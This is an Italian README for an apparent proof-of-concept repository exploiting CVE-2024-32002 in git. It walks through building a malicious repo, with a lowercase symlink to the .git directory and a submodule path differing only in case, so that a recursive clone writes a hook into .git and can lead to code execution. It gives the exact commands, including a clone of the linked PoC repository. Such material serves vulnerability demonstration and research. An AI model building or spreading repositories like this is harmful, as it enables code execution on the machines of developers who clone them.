CVE-2024-32002 PRC AW
Una POC per CVE-2024-32002 che dimostra la scrittura arbitraria nella directory .git.
Vedi cve-2024-32002-submodule-aw per il repository del sottomodulo correlato.
Cosa contiene questo repo
- Un symlink con un nome arbitrario che punta alla directory
.git.
- Un file
.gitmodules che definisce il sottomodulo malevolo.
Come ricreare questo repo
Questo repo è stato creato su Linux (WSL2, per la precisione). Questo è importante: il repo malevolo può essere creato solo su un filesystem case-sensitive.
- Crea un symlink, usando solo caratteri minuscoli
ln -s .git submodule
Note:
- Il symlink deve puntare alla cartella .git, poiché è lì che vogliamo scrivere i file.
- Il nome del symlink (submodule) è arbitrario, ma deve iniziare con un carattere minuscolo.
- Questo è importante, perché i caratteri minuscoli vengono ordinati prima di quelli maiuscoli. Quando la macchina che clona si confonde su dove scrivere i file del sottomodulo, vogliamo che scelga il symlink e non una directory normale.
- Aggiungi il sottomodulo malevolo, notando la differenza tra maiuscole e minuscole nel nome della directory del sottomodulo
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
Note:
- Il nome del sottomodulo è importante; entrerà in gioco quando posizioneremo il nostro hook nel sottomodulo.
- Il primo segmento del percorso del sottomodulo ("Submodule") deve corrispondere al nome del symlink sopra, differendo solo per maiuscole/minuscole.
- Deve esserci almeno un altro segmento nel percorso, poiché git clonerà i sottomoduli solo in una directory vuota. Creerà comunque le directory per noi, quindi abbiamo scelto "notexists" per dimostrarlo.
Come eseguire la POC
- Verifica se hai una versione vulnerabile di git. Consulta il GitHub advisory per le versioni affette.
git --version
- Pensa se vuoi consapevolmente eseguire un comando che potrebbe ottenere RCE... Questo repo è benigno, ma ne sei sicuro?
- Esegui il seguente comando:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- Dai un'occhiata nella directory .git. Vedi qualcosa fuori posto? Suggerimento: quali file sono presenti nel sottomodulo.